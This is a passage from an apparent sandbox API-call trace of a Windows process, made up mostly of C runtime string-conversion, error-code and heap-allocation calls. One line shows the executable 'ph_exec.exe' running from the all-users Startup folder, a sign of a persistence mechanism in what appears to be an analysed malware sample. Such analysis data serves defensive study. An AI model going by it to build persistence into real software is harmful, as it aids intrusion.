xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xeb\x65\x68\x61\x68\xfa\x95", lpUsedDefaultChar=0x0) returned 256 [0118.800] GetLastError () returned 0xcb [0118.800] SetLastError (dwErrCode=0xcb) [0118.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95f930, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95f930, cbMultiByte=256, lpWideCharStr=0x95f288, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÀĀ") returned 256 [0118.800] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÀĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.800] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÀĀ", cchSrc=256, lpDestStr=0x95f078, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0118.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x95f730, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xeb\x65\x68\x61\x68\xfa\x95", lpUsedDefaultChar=0x0) returned 256 [0118.800] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xc0f728, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x48 [0118.800] GetLastError () returned 0x0 [0118.800] SetLastError (dwErrCode=0x0) [0118.800] GetLastError () returned 0x0 [0118.800] SetLastError (dwErrCode=0x0) [0118.800] GetLastError () returned 0x0 [0118.800] SetLastError (dwErrCode=0x0) [0118.800] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.801] GetLastError () returned 0x0 [0118.801] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.802] SetLastError (dwErrCode=0x0) [0118.802] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.803] SetLastError (dwErrCode=0x0) [0118.803] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.804] GetLastError () returned 0x0 [0118.804] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x51) returned 0xb11788 [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.805] SetLastError (dwErrCode=0x0) [0118.805] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.806] SetLastError (dwErrCode=0x0) [0118.806] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.807] GetLastError () returned 0x0 [0118.807] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.808] GetLastError () returned 0x0 [0118.808] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.809] SetLastError (dwErrCode=0x0) [0118.809] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] GetLastError () returned 0x0 [0118.810] SetLastError (dwErrCode=0x0) [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x98) returned 0xb117e8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1f) returned 0xb11888 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x28) returned 0xb118b0 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x37) returned 0xb118e0 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x3c) returned 0xb11920 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x31) returned 0xb11968 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x14) returned 0xb119a8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x24) returned 0xb119c8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xd) returned 0xb119f8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x17) returned 0xb11a10 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x2b) returned 0xb11a30 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x15) returned 0xb11a68 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x17) returned 0xb11a88 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x22) returned 0xb11aa8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xe) returned 0xb11ad8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xc2) returned 0xb11af0 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x3e) returned 0xb11bc0 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1b) returned 0xb11c08 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1d) returned 0xb11c30 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x48) returned 0xb11c58 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x12) returned 0xb11ca8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb11cc8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1b) returned 0xb11ce8 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x24) returned 0xb11d10 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x29) returned 0xb11d40 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1e) returned 0xb11d78 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x6b) returned 0xb11da0 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x17) returned 0xb11e18 [0118.810] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x14) returned 0xb11e38 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xf) returned 0xb11e58 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x16) returned 0xb11e70 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x28) returned 0xb11e90 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x27) returned 0xb11ec0 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x12) returned 0xb11ef0 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x21) returned 0xb11f10 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x10) returned 0xb11f40 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1c) returned 0xb11f58 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x12) returned 0xb11f80 [0118.811] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb10fd0 | out: hHeap=0xb10000) returned 1 [0118.811] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.811] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x80) returned 0xb10fd0 [0118.811] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc08156) returned 0x0 [0118.811] RtlSizeHeap (HeapHandle=0xb10000, Flags=0x0, MemoryPointer=0xb10fd0) returned 0x80 [0118.811] GetLastError () returned 0x0 [0118.811] SetLastError (dwErrCode=0x0) [0118.811] GetLastError () returned 0x0 [0118.811] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError 